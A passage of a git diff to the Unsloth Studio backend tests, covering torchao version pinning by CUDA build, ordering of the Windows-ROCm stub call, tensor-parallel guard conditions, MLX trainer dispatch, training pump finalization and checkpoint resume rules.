+        ("2.10.0+cu126", "torchao==0.16.0"),
         ("2.10.0+rocm6.4", "torchao==0.16.0"),
         ("2.10.0+cpu", "torchao==0.16.0"),
         ("2.10.1", "torchao==0.16.0"),
         ("2.10.0", "torchao==0.16.0"),
-        # Pre-release / dev / rc builds: the minor is cleaned of non-digits.
+        # torch 2.10 on CUDA >= 13 (Blackwell / cu130): 0.16.0's CUDA-12 cpp can't
+        # load against a CUDA-13 torch (libcudart.so.12 error), so use 0.17.0.
+        ("2.10.0+cu130", "torchao==0.17.0"),
+        ("2.10.0+cu140", "torchao==0.17.0"),
+        # Pre-release / dev / rc builds: the minor is cleaned of non-digits; the
+        # CUDA tag still decides 0.16.0 vs 0.17.0.
         ("2.10.0rc1", "torchao==0.16.0"),
-        ("2.10.0.dev20250804+cu130", "torchao==0.16.0"),
+        ("2.10.0.dev20250804+cu130", "torchao==0.17.0"),
+        ("2.10.0.dev20250804+cu128", "torchao==0.16.0"),
         ("2.10rc1", "torchao==0.16.0"),
         # torch 2.11 (reachable via ROCm rocm7.2) and forward -> 0.17.0.
         ("2.11.0+cu130", "torchao==0.17.0"),
diff --git a/studio/backend/tests/test_torchao_stub_worker_parity.py b/studio/backend/tests/test_torchao_stub_worker_parity.py
new file mode 100644
index 0000000000..bb743385f1
--- /dev/null
+++ b/studio/backend/tests/test_torchao_stub_worker_parity.py
@@ -0,0 +1,130 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: the inference subprocess must install the torchao Windows-ROCm stub before it imports
+transformers.
+
+``core/_torchao_stub.py:install_torchao_windows_rocm_stub`` stubs torchao so transformers can import
+without an absent RCCL backend on Windows ROCm (no-op on every other runtime). If transformers imports
+first, a legacy Windows-ROCm venv that still carries a real torchao crashes on import (issue #6833).
+Three entrypoints already guard this (the training and export workers, and the main-process rag
+embedder); the inference worker -- the most-used path -- never had the call.
+
+CPU-only: parses source with ``ast``, no torch/transformers/GPU/weights needed.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+from core._torchao_stub import install_torchao_windows_rocm_stub
+
+_BACKEND = Path(__file__).resolve().parent.parent  # studio/backend
+_CORE = _BACKEND / "core"
+_STUB = install_torchao_windows_rocm_stub.__name__  # a rename breaks the import loudly
+
+_ENTRYPOINTS = [
+    _CORE / "training" / "worker.py",
+    _CORE / "export" / "worker.py",
+    _CORE / "rag" / "embeddings.py",
+    _CORE / "inference" / "worker.py",
+]
+
+
+def _stub_call_linenos(node) -> list[int]:
+    """Line numbers of every ``install_torchao_windows_rocm_stub()`` call under ``node``."""
+    return [
+        c.lineno
+        for c in ast.walk(node)
+        if isinstance(c, ast.Call) and isinstance(c.func, ast.Name) and c.func.id == _STUB
+    ]
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    return None
+
+
+def test_all_entrypoints_call_stub():
+    """Every entrypoint that imports transformers must call the stub at all -- this is the exact
+    gap that shipped (the inference worker never gained the call). This is a presence check (the call
+    exists in the file); ordering is asserted only for the inference worker below, the path this fix
+    hardened. The other three import transformers at structurally different sites."""
+    for path in _ENTRYPOINTS:
+        assert _stub_call_linenos(ast.parse(path.read_text(encoding = "utf-8"))), (
+            f"{path.relative_to(_BACKEND)} never calls {_STUB}() -- transformers would import "
+            "unguarded and crash on a legacy Windows-ROCm venv (issue #6833)."
+        )
+
+
+_INFERENCE_MOD = "core.inference.inference"
+
+
+def _imports_transformers(node) -> bool:
+    """A statement that imports transformers directly (``import transformers[.x]`` /
+    ``from transformers[.x] import ...``) or transitively at load: any absolute or relative import
+    form resolving to ``core.inference.inference`` (whose module imports transformers), so a style
+    refactor of the section-2 import can't slip past the anchor."""
+    if isinstance(node, ast.Import):
+        return any(
+            a.name.split(".")[0] == "transformers"
+            or a.name == _INFERENCE_MOD
+            or a.name.startswith(_INFERENCE_MOD + ".")
+            for a in node.names
+        )
+    if isinstance(node, ast.ImportFrom):
+        module = node.module or ""
+        if node.level == 0:
+            return (
+                module.split(".")[0] == "transformers"
+                or module == _INFERENCE_MOD
+                or module.startswith(_INFERENCE_MOD + ".")
+                or (module == "core.inference" and any(a.name == "inference" for a in node.names))
+            )
+        # Relative forms inside core/inference/worker.py: ``from .inference import X`` and
+        # ``from . import inference`` both resolve to core.inference.inference.
+        return module == "inference" or (
+            not module and any(a.name == "inference" for a in node.names)
+        )
+    return False
+
+
+def test_inference_worker_stubs_before_transformers():
+    """In ``run_inference_process`` the stub must precede every path that reaches transformers: the
+    section-2 imports (direct ``import transformers`` and the transitive ``core.inference.inference``
+    import), and -- the reason it sits at the top of the function -- the ``_resolve_base_model`` call,
+    which pulls transformers via ``utils.models`` for a local LoRA adapter with no recorded base.
+    Scoped to the function (mirrors ``test_ssm_runtime``) so a stub call elsewhere in the module can't
+    mask a drop from the function that actually runs the import. The ``_activate_transformers_version``
+    call inside the MLX branch is not an anchor: MLX is never Windows ROCm, so it needs no stub."""
+    tree = ast.parse((_CORE / "inference" / "worker.py").read_text(encoding = "utf-8"))
+    fn = _func(tree, "run_inference_process")
+    assert (
+        fn is not None
+    ), "run_inference_process not found in inference/worker.py -- renamed? update this test."
+
+    stub = _stub_call_linenos(fn)
+    assert stub, f"run_inference_process must call {_STUB}()"
+
+    dangers = []
+    for node in ast.walk(fn):
+        if _imports_transformers(node):
+            dangers.append(node.lineno)
+        elif (
+            isinstance(node, ast.Call)
+            and isinstance(node.func, ast.Name)
+            and node.func.id == "_resolve_base_model"
+        ):
+            dangers.append(node.lineno)
+    assert dangers, (
+        "no transformers-reaching site found in run_inference_process -- the anchors are stale, update "
+        "them to the new import/resolution sites."
+    )
+
+    assert min(stub) < min(dangers), (
+        f"{_STUB}() at line {min(stub)} must run before the first transformers-reaching site at line "
+        f"{min(dangers)}; otherwise torchao imports unguarded on Windows ROCm (issue #6833)."
+    )
diff --git a/studio/backend/tests/test_tp_vision_regression.py b/studio/backend/tests/test_tp_vision_regression.py
index 09af876da6..d1372ca415 100644
--- a/studio/backend/tests/test_tp_vision_regression.py
+++ b/studio/backend/tests/test_tp_vision_regression.py
@@ -126,10 +126,21 @@ _ALLOWED_TP_DROP_GUARDS = {
     # Capability: --split-mode tensor aborted for this (binary, model) (#6415).
     # Self-healing -- tried by default, skipped only after a real abort (vs #6416).
     "tensor_parallel and self._tensor_split_aborts(binary, model_identifier)",
-    # Capacity: tensor needs >= 2 GPUs clearing the compute-buffer reserve.
-    "tensor_parallel and len(tp_gpus) < 2",
+    # Capacity: tensor needs >= 2 GPUs clearing the compute-buffer reserve. Gated
+    # on plan_tp (not raw tensor_parallel) so manual mode skips this planner (#6414).
+    "plan_tp and len(tp_gpus) < 2",
     # Capacity: pooled usable VRAM can't hold weights + MTP reserve -> layer split.
     "_tp_weight_budget_mib <= _tp_required_mib",
+    # Manual mode, Auto layers: --fit owns memory and is incompatible with a
+    # tensor split, so TP is dropped (surfaced via logger.info) before the
+    # cache-drop, so a quantized KV survives into the --fit load (#6414).
+    "tensor_parallel and gpu_memory_mode == 'manual' and (gpu_layers < 0)",
+    # Manual mode, explicit layers: a tensor split still needs >= 2 GPUs in use.
+    "tensor_parallel and gpu_memory_mode == 'manual' and (gpu_layers >= 0) and (self._effective_gpu_count(sorted(gpu_ids) if gpu_ids else None) < 2)",
+    # Manual mode, zero layers: nothing to split on the GPU, and a tensor-mode
+    # launch under the CPU-only GPU mask (no visible devices) aborts the server
+    # instead of the intended CPU-only load (#6414).
+    "gpu_memory_mode == 'manual' and gpu_layers == 0",
 }
 
 
@@ -364,7 +375,7 @@ def test_compute_buffer_downgrade_preserves_multi_gpu_intent():
     full GPU set too, so it is symmetric with the budget/geometry downgrades and
     doesn't collapse a multi-GPU layer load to one card (reviewer.py P1 on #6659)."""
     src = inspect.getsource(LlamaCppBackend.load_model)
-    gate = src.find("tensor_parallel and len(tp_gpus) < 2")
+    gate = src.find("plan_tp and len(tp_gpus) < 2")
     assert gate != -1
     # Bound to exactly this block: from its gate to the next (budget) downgrade.
     nxt = src.find("_tp_weight_budget_mib <= _tp_required_mib", gate)
@@ -625,7 +636,7 @@ def _fallback_loaded_backend(layer_preserves_tensor_intent: bool) -> LlamaCppBac
 
 
 def test_tensor_off_echo_preserves_multi_gpu_fallback():
-    """The Studio UI always sends tensor_parallel and echoes the /load response's
+    """The Unsloth UI always sends tensor_parallel and echoes the /load response's
     resolved value, so after a fallback a ctx/settings reload carries tensor_parallel=
     false even though the user never changed it. That echo must NOT collapse the
     preserved multi-GPU placement -- it dedupes (Codex #6659)."""
diff --git a/studio/backend/tests/test_trained_model_scan.py b/studio/backend/tests/test_trained_model_scan.py
index 7bf572e214..64228cec3c 100644
--- a/studio/backend/tests/test_trained_model_scan.py
+++ b/studio/backend/tests/test_trained_model_scan.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Tests for Studio trained-model discovery used by Chat."""
+"""Tests for Unsloth trained-model discovery used by Chat."""
 
 import json
 from pathlib import Path
@@ -97,6 +97,7 @@ def test_lora_identifier_resolves_remote_adapter_base(tmp_path: Path):
         repo,
         fn,
         token = None,
+        cache_dir = None,
     ):
         assert repo == "someone/my-remote-lora"
         assert fn == "adapter_config.json"
@@ -128,6 +129,7 @@ def test_lora_identifier_retries_transient_then_resolves(tmp_path: Path):
         repo,
         fn,
         token = None,
+        cache_dir = None,
     ):
         calls["n"] += 1
         if calls["n"] == 1:
diff --git a/studio/backend/tests/test_training_config_popover_source.py b/studio/backend/tests/test_training_config_popover_source.py
new file mode 100644
index 0000000000..4263b012eb
--- /dev/null
+++ b/studio/backend/tests/test_training_config_popover_source.py
@@ -0,0 +1,109 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Source-level regression guards for the Training Config popover data source
+(#6853).
+
+The live Training Progress popover used to read the editable form store
+(useTrainingConfigStore) while a run was active, so it showed stale/static
+values whenever the user touched the form after starting the run; only the
+History view read the run's saved config snapshot. These guards pin the fixed
+wiring: both views feed ProgressSection a config override mapped from
+GET /api/train/runs/{id}, and ProgressSection prefers that override whenever
+one is present -- not only for historical views.
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+_STUDIO_FRONTEND = Path(__file__).resolve().parents[2] / "frontend" / "src" / "features" / "studio"
+
+
+def _read(rel: str) -> str:
+    return (_STUDIO_FRONTEND / rel).read_text(encoding = "utf-8")
+
+
+def test_progress_section_prefers_override_over_form_store():
+    src = _read("sections/progress-section.tsx")
+    # Fields key on the override's presence, not isHistorical: a live view passing
+    # an override wins over the store; without one, live keeps the store while
+    # History shows blanks rather than unrelated live form values.
+    assert "const cfg = configOverride ?? (isHistorical ? undefined : config)" in src
+    assert "const cfgEpochs = cfg?.epochs" in src
+    assert "isHistorical ? configOverride?.epochs" not in src
+
+
+def test_live_view_fetches_the_active_run_config():
+    src = _read("live-training-view.tsx")
+    # Live view resolves the run's saved config snapshot by job id...
+    assert "getTrainingRun(" in src
+    assert "mapRunConfigToOverride(" in src
+    # ...and hands it to the popover.
+    assert "configOverride={runConfigOverride}" in src
+
+
+def test_live_view_fetches_as_soon_as_the_job_id_exists():
+    # start_training() inserts the run row BEFORE the pump consumes any event, so
+    # the saved config is available during configuring/loading/downloading. The
+    # job id is therefore the whole readiness condition: gating on a first step
+    # or a terminal phase would show the wrong config for the entire pre-step
+    # window of a long load, or for a run adopted from another client.
+    src = _read("live-training-view.tsx")
+    assert "if (!runtime.jobId) {" in src
+    assert "[runtime.jobId, fetchedRunConfig, fetchAttempt]" in src
+    # No step/phase readiness gate may creep back in.
+    assert "runRowReady" not in src
+
+
+def test_live_view_retries_the_transient_row_miss():
+    # start_training() creates the row before the pump, but a lookup racing that
+    # commit can still 404. Nothing else in the effect deps changes on failure, so
+    # the retry must be explicit and bounded, else a genuinely absent row would
+    # poll forever instead of falling back to the form store.
+    src = _read("live-training-view.tsx")
+    assert "RUN_CONFIG_FETCH_RETRIES" in src
+    assert "RUN_CONFIG_FETCH_RETRY_MS" in src
+    assert "setFetchAttempt(" in src
+    assert "attempts >= RUN_CONFIG_FETCH_RETRIES" in src
+    # The budget is keyed by job so a new run always starts fresh.
+    assert "fetchAttempt?.jobId === jobId ? fetchAttempt.count : 0" in src
+    # The pending retry must be cancelled with the effect.
+    assert "clearTimeout(retryTimer)" in src
+
+
+def test_live_view_prefers_saved_training_method():
+    # The method label / LoRA-row visibility must come from the run snapshot,
+    # not the editable form (which may have changed since the run started).
+    src = _read("live-training-view.tsx")
+    assert "runConfigOverride?.trainingMethod ?? config.trainingMethod" in src
+
+
+def test_history_view_uses_the_shared_mapper():
+    src = _read("historical-training-view.tsx")
+    # Shared mapper, not a re-inlined field-by-field copy that could drift.
+    assert "mapRunConfigToOverride(detail.config)" in src
+    assert "num_epochs" not in src
+
+
+def test_shared_mapper_matches_backend_config_keys():
+    src = _read("sections/run-config-override.ts")
+    # The mapper reads the run config JSON the backend snapshots at job start;
+    # keep the key set pinned so a silent rename breaks loudly here.
+    for key in (
+        "training_type",
+        "load_in_4bit",
+        "num_epochs",
+        "batch_size",
+        "learning_rate",
+        "max_steps",
+        "max_seq_length",
+        "warmup_steps",
+        "optim",
+        "lora_r",
+        "lora_alpha",
+        "lora_dropout",
+        "use_rslora",
+        "use_loftq",
+    ):
+        assert key in src, f"run-config mapper lost backend key {key}"
diff --git a/studio/backend/tests/test_training_nan_loss_handling.py b/studio/backend/tests/test_training_nan_loss_handling.py
index a2dc78bee2..5a477a084d 100644
--- a/studio/backend/tests/test_training_nan_loss_handling.py
+++ b/studio/backend/tests/test_training_nan_loss_handling.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Pin Studio's behavior when a training event reports non-finite (NaN/Inf) loss.
+"""Pin Unsloth's behavior when a training event reports non-finite (NaN/Inf) loss.
 
 The training event handler used to filter NaN/Inf to None silently while
 leaving the previous finite loss in progress.loss — so the API kept reporting
diff --git a/studio/backend/tests/test_training_preflight.py b/studio/backend/tests/test_training_preflight.py
index 54048a65dd..47c6669f8f 100644
--- a/studio/backend/tests/test_training_preflight.py
+++ b/studio/backend/tests/test_training_preflight.py
@@ -6,9 +6,15 @@ empty-chat-template crash) before train(). The real methods are bound onto a lig
 fake self so the production logic runs against controlled batches."""
 
 import importlib
+import json
+import os
+import queue
+import subprocess
 import sys
+import threading
 import types
 import unittest
+from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock
 
@@ -184,5 +190,231 @@ class TestChatTemplateRendersEmpty(unittest.TestCase):
         self.assertFalse(s._chat_template_renders_empty())
 
 
+def _clear_trainer_module(package: str):
+    sys.modules.pop(f"{package}.trainer", None)
+    pkg = sys.modules.get(package)
+    if pkg is not None and hasattr(pkg, "trainer"):
+        delattr(pkg, "trainer")
+
+
+def _set_training_platform(monkeypatch, package: str, backend: str):
+    training_mod = importlib.import_module(f"{package}.training")
+    from utils.hardware import hardware as hw
+
+    monkeypatch.setattr(hw, "DEVICE", None)
+    monkeypatch.setattr(
+        training_mod.platform,
+        "system",
+        lambda: "Darwin" if backend == "mlx" else "Linux",
+    )
+    monkeypatch.setattr(
+        training_mod.platform,
+        "machine",
+        lambda: "arm64" if backend == "mlx" else "x86_64",
+    )
+
+
+def _load_trainer_module(
+    monkeypatch,
+    backend: str,
+    package: str = "core.training",
+):
+    _set_training_platform(monkeypatch, package, backend)
+    _clear_trainer_module(package)
+    if package in sys.modules:
+        importlib.reload(sys.modules[package])
+    trainer_mod = importlib.import_module(f"{package}.trainer")
+    training_mod = importlib.import_module(f"{package}.training")
+    monkeypatch.setattr(
+        training_mod._MLXTrainerAdapter,
+        "_activate_transformers_for_model",
+        lambda self, model_name, hf_token: None,
+    )
+    return trainer_mod
+
+
+class _ExitedProc:
+    def join(self, timeout = None):
+        return None
+
+    def is_alive(self):
+        return False
+
+
+class _TerminableProc:
+    def __init__(self):
+        self.terminated = False
+        self._done = threading.Event()
+
+    def join(self, timeout = None):
+        self._done.wait(timeout = timeout or 5)
+
+    def is_alive(self):
+        return not self.terminated
+
+    def terminate(self):
+        self.terminated = True
+        self._done.set()
+
+
+def test_unsloth_trainer_dispatches_for_mlx_and_torch(monkeypatch):
+    trainer_mod = _load_trainer_module(monkeypatch, "mlx")
+
+    mlx_trainer = trainer_mod.UnslothTrainer()
+
+    assert type(mlx_trainer).__module__ == "core.training.training"
+    assert mlx_trainer.get_training_progress().status_message == "Ready to train"
+
+    trainer_mod = _load_trainer_module(monkeypatch, "torch")
+
+    assert trainer_mod.UnslothTrainer().__class__ is trainer_mod.UnslothTrainer
+
+
+def test_cli_mlx_trainer_activates_before_importing_trainer():
+    repo_root = Path(__file__).resolve().parents[3]
+    script = """
+import json
+import sys
+import unsloth_cli.commands.train as train_cmd
+from studio.backend.core.training import training as training_mod
+from utils.hardware import hardware as hw
+
+training_mod.platform.system = lambda: "Darwin"
+training_mod.platform.machine = lambda: "arm64"
+hw.DEVICE = None
+events = []
+
+def fake_activate(model_name, hf_token):
+    events.append({
+        "model_name": model_name,
+        "trainer_loaded": "studio.backend.core.training.trainer" in sys.modules,
+    })
+
+train_cmd._activate_mlx_transformers = fake_activate
+trainer = train_cmd._create_cli_trainer("mlx-community/Qwen3-0.6B-4bit", None)
+print(json.dumps({
+    "trainer_module": type(trainer).__module__,
+    "events": events,
+}))
+"""
+    env = os.environ.copy()
+    env["PYTHONPATH"] = os.pathsep.join(
+        [str(repo_root), str(repo_root / "studio" / "backend"), env.get("PYTHONPATH", "")]
+    )
+    result = subprocess.run(
+        [sys.executable, "-c", script],
+        cwd = repo_root,
+        env = env,
+        text = True,
+        stdout = subprocess.PIPE,
+        stderr = subprocess.PIPE,
+        check = True,
+    )
+    payload = json.loads(result.stdout)
+
+    assert payload["trainer_module"] == "studio.backend.core.training.training"
+    assert payload["events"] == [
+        {"model_name": "mlx-community/Qwen3-0.6B-4bit", "trainer_loaded": False}
+    ]
+
+
+def test_mlx_adapter_builds_config_and_reports_completion(tmp_path, monkeypatch):
+    trainer_mod = _load_trainer_module(monkeypatch, "mlx")
+    captured = {}
+
+    def fake_run_worker(config, event_queue, stop_queue):
+        captured["config"] = config
+        event_queue.put({"type": "progress", "step": 1, "total_steps": 1, "loss": 0.25})
+        event_queue.put(
+            {"type": "complete", "status_message": "done", "output_dir": config["output_dir"]}
+        )
+
+    trainer = trainer_mod.UnslothTrainer()
+    monkeypatch.setattr(trainer, "_run_mlx_worker", fake_run_worker)
+
+    assert trainer.load_model("mlx-community/Qwen3-0.6B-4bit", max_seq_length = 1024)
+    assert trainer.prepare_model_for_training(use_lora = False)
+    dataset, eval_dataset = trainer.load_and_format_dataset("org/dataset")
+    output_dir = tmp_path / "mlx-out"
+
+    assert trainer.start_training(
+        dataset = dataset,
+        eval_dataset = eval_dataset,
+        output_dir = output_dir,
+        project_name = "Sales Assistant",
+        max_steps = 1,
+        learning_rate = 3e-4,
+    )
+    trainer.training_thread.join(timeout = 5)
+
+    progress = trainer.get_training_progress()
+    config = captured["config"]
+    assert progress.is_completed
+    assert progress.output_dir == str(output_dir.resolve())
+    progress.status_message = "mutated"
+    assert trainer.get_training_progress().status_message == "done"
+    assert config["model_name"] == "mlx-community/Qwen3-0.6B-4bit"
+    assert config["project_name"] == "Sales Assistant"
+    assert config["hf_dataset"] == "org/dataset"
+    assert config["training_type"] == "Full Finetuning"
+    assert config["load_in_4bit"] is False
+    assert config["max_seq_length"] == 1024
+    assert config["learning_rate"] == 3e-4
+    assert config["output_dir"] == str(output_dir.resolve())
+    assert config["allow_external_output_dir"] is True
+
+
+def test_mlx_worker_helpers_cover_cli_paths(tmp_path, monkeypatch):
+    _load_trainer_module(monkeypatch, "mlx")
+    from core.training.worker import (
+        _resolve_mlx_local_dataset_files,
+        _resolve_mlx_output_dir,
+    )
+
+    dataset = tmp_path / "train.jsonl"
+    dataset.write_text('{"text":"hello"}\n', encoding = "utf-8")
+    monkeypatch.chdir(tmp_path)
+
+    assert _resolve_mlx_local_dataset_files(["train.jsonl"]) == [str(dataset)]
+    assert _resolve_mlx_output_dir(
+        {"output_dir": "cli-out", "allow_external_output_dir": True},
+        "mlx-community/Qwen3-0.6B-4bit",
+    ) == str((tmp_path / "cli-out").resolve())
+
+
+def test_run_mlx_training_process_applies_side_effects_before_hardware_detection(monkeypatch):
+    _load_trainer_module(monkeypatch, "mlx")
+    from core.training import worker
+    from utils.hardware import hardware as hw
+
+    order = []
+
+    def fake_activate(model_name, hf_token):
+        order.append(("activate", model_name, hf_token))
+
+    def fake_detect_hardware():
+        order.append("detect")
+        hw.DEVICE = hw.DeviceType.CPU
+        return hw.DEVICE
+
+    monkeypatch.delenv("HF_HUB_DISABLE_XET", raising = False)
+    monkeypatch.delenv("HF_HUB_ENABLE_HF_TRANSFER", raising = False)
+    monkeypatch.setattr(worker, "_activate_transformers_version_or_warn", fake_activate)
+    monkeypatch.setattr(hw, "detect_hardware", fake_detect_hardware)
+
+    event_queue = queue.Queue()
+    worker.run_mlx_training_process(
+        event_queue = event_queue,
+        stop_queue = queue.Queue(),
+        config = {"model_name": "mlx-community/Gemma-4-12B", "disable_xet": True},
+    )
+
+    event = event_queue.get_nowait()
+    assert order == [("activate", "mlx-community/Gemma-4-12B", None), "detect"]
+    assert os.environ["HF_HUB_DISABLE_XET"] == "1"
+    assert os.environ["HF_HUB_ENABLE_HF_TRANSFER"] == "0"
+    assert "MLX training requires Apple Silicon" in event["error"]
+
+
 if __name__ == "__main__":
     unittest.main()
diff --git a/studio/backend/tests/test_training_pump_resilience.py b/studio/backend/tests/test_training_pump_resilience.py
index d75b205f35..e7e47478b5 100644
--- a/studio/backend/tests/test_training_pump_resilience.py
+++ b/studio/backend/tests/test_training_pump_resilience.py
@@ -310,6 +310,80 @@ def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch):
     assert b._pump_running is False
 
 
+def test_interrupted_cancel_clears_in_memory_output_dir(monkeypatch):
+    # Stop-without-save interrupted before its complete event: /status must not
+    # keep serving the cleared run's output_dir.
+    b = TrainingBackend()
+    finalized: dict = {}
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw))
+
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _IdleQueue()
+    b._progress.is_training = True
+    b._should_stop = True
+    b._cancel_requested = True
+    b._output_dir = "/out/x"
+
+    b._pump_loop()
+
+    assert b._output_dir is None
+    assert finalized.get("status") == "stopped"
+    assert finalized.get("output_dir") is None
+    assert finalized.get("clear_output_dir") is True
+
+
+def test_worker_exit_reuses_terminal_stop_save_error(monkeypatch):
+    b = TrainingBackend()
+    finalized: dict = {}
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw))
+
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _IdleQueue()
+    b._progress.is_training = True
+    b._should_stop = True
+    b._cancel_requested = False
+    b._output_dir = "/out/x"
+    b.current_job_id = "job-x"
+    b._terminal_finalize_payload = {
+        "status": "error",
+        "error_message": "checkpoint failed",
+        "output_dir": "/out/x",
+        "clear_output_dir": False,
+        "resume_blocked": True,
+        "expected_job_id": "job-x",
+    }
+
+    b._pump_loop()
+
+    assert b._output_dir == "/out/x"
+    assert finalized.get("status") == "error"
+    assert finalized.get("output_dir") == "/out/x"
+    assert finalized.get("clear_output_dir") is False
+    assert finalized.get("resume_blocked") is True
+
+
+def test_dead_worker_crash_preserves_output_dir(monkeypatch):
+    # A crash (no stop requested) after output_dir was emitted must keep the dir
+    # in the error finalize: checkpoints under it may still exist.
+    b = TrainingBackend()
+    finalized: dict = {}
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw))
+
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _IdleQueue()
+    b._progress.is_training = True
+    b._output_dir = "/out/x"
+
+    b._pump_loop()
+
+    assert finalized.get("status") == "error"
+    assert finalized.get("output_dir") == "/out/x"
+    assert finalized.get("clear_output_dir") is False
+
+
 def test_start_training_clears_stale_pump_running_flag():
     # A prior pump that died abnormally leaves _pump_running True. The next
     # start_training must clear it during reset so the start-time watchdog can't
@@ -492,3 +566,34 @@ def test_db_run_created_before_pump_consumes_events(monkeypatch):
     # The pump observed an already-created run; it would be False if the pump
     # were started before the eager create.
     assert seen["db_created"] is True
+
+
+def test_startup_flag_reports_training_active_before_proc():
+    # Between freeing VRAM and _proc going live, a concurrent STT load must see
+    # training as active so it does not grab the just-freed GPU.
+    b = TrainingBackend()
+    b._spawn_in_progress = True
+    assert b.is_training_active() is True
+
+
+def test_before_spawn_runs_inside_active_window(monkeypatch):
+    # The VRAM-freeing hook must run while training already counts as active, or
+    # an STT load racing it would place Whisper back on the freed GPU.
+    b = TrainingBackend()
+    _stub_spawn(monkeypatch)
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_pump_loop", lambda: setattr(b, "_pump_running", False))
+
+    active_during_free = {}
+
+    def before_spawn():
+        active_during_free["value"] = b.is_training_active()
+
+    assert b.start_training("job_active_window", model_name = "m", before_spawn = before_spawn) is True
+    if b._pump_thread is not None:
+        b._pump_thread.join(timeout = 2.0)
+
+    assert active_during_free["value"] is True
+    # The transient flag clears, but the live proc keeps training active.
+    assert b._spawn_in_progress is False
+    assert b.is_training_active() is True
diff --git a/studio/backend/tests/test_training_resume.py b/studio/backend/tests/test_training_resume.py
index 91fdac9961..51425b0428 100644
--- a/studio/backend/tests/test_training_resume.py
+++ b/studio/backend/tests/test_training_resume.py
@@ -7,6 +7,9 @@ import importlib.util
 import json
 from pathlib import Path
 
+import pytest
+import torch
+
 
 _BACKEND = Path(__file__).resolve().parents[1]
 
@@ -25,6 +28,30 @@ def _load_resume_module():
 resume = _load_resume_module()
 
 
+def test_resume_request_accepts_sanitized_null_target_modules():
+    from models.training import TrainingStartRequest
+    request = TrainingStartRequest(
+        model_name = "unsloth/Qwen3-0.6B",
+        training_type = "Full Finetuning",
+        format_type = "alpaca",
+        target_modules = None,
+    )
+
+    assert request.target_modules == []
+
+
+def _write_checkpoint(out: Path, step: int) -> Path:
+    checkpoint = out / f"checkpoint-{step}"
+    checkpoint.mkdir(parents = True, exist_ok = True)
+    (checkpoint / "trainer_state.json").write_text(
+        json.dumps({"global_step": step}), encoding = "utf-8"
+    )
+    torch.save({"weight": torch.ones(1)}, checkpoint / "adapter_model.bin")
+    torch.save({"state": {0: torch.ones(1)}}, checkpoint / "optimizer.pt")
+    torch.save({"last_epoch": step}, checkpoint / "scheduler.pt")
+    return checkpoint
+
+
 def _stopped_run(**overrides):
     run = {
         "status": "stopped",
@@ -44,6 +71,36 @@ def test_can_resume_run_allows_checkpointed_non_s3_run(monkeypatch):
     assert resume.can_resume_run(_stopped_run()) is True
 
 
+def test_can_resume_run_allows_errored_run_with_checkpoint(monkeypatch):
+    monkeypatch.setattr(resume, "has_resume_state", lambda _path: True)
+
+    assert resume.can_resume_run(_stopped_run(status = "error")) is True
+
+
+def test_can_resume_run_rejects_errored_run_without_checkpoint(monkeypatch):
+    monkeypatch.setattr(resume, "has_resume_state", lambda _path: False)
+
+    assert resume.can_resume_run(_stopped_run(status = "error")) is False
+
+
+def test_can_resume_run_allows_errored_run_at_final_step(monkeypatch):
+    # A save-time crash records final_step == total_steps; resuming re-runs the
+    # final-save path from the checkpoint.
+    monkeypatch.setattr(resume, "has_resume_state", lambda _path: True)
+
+    run = _stopped_run(status = "error", final_step = 10, total_steps = 10)
+
+    assert resume.can_resume_run(run) is True
+
+
+def test_can_resume_run_rejects_stopped_run_at_final_step(monkeypatch):
+    monkeypatch.setattr(resume, "has_resume_state", lambda _path: True)
+
+    run = _stopped_run(final_step = 10, total_steps = 10)
+
+    assert resume.can_resume_run(run) is False
+
+
 def test_can_resume_run_rejects_s3_dataset_source(monkeypatch):
     monkeypatch.setattr(resume, "has_resume_state", lambda _path: True)
 
@@ -91,3 +148,444 @@ def test_list_runs_includes_config_json_for_resume_policy(monkeypatch, tmp_path)
     result = studio_db.list_runs()
 
     assert result["runs"][0]["config_json"] == config_json
+
+
+def test_crashed_run_with_persisted_output_dir_is_resumable(monkeypatch, tmp_path):
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 10)
+
+    studio_db.create_run(
+        id = "run-crash",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 20,
+    )
+    studio_db.update_run_output_dir("run-crash", str(out))
+    conn = studio_db.get_connection()
+    conn.execute("UPDATE training_runs SET status = 'error' WHERE id = 'run-crash'")
+    conn.commit()
+    conn.close()
+
+    run = studio_db.get_run("run-crash")
+    assert run["output_dir"] == str(out)
+    assert resume.can_resume_run(run) is True
+
+
+def test_checkpoint_discovery_skips_malformed_newest(monkeypatch, tmp_path):
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    out = tmp_path / "outputs" / "run_x"
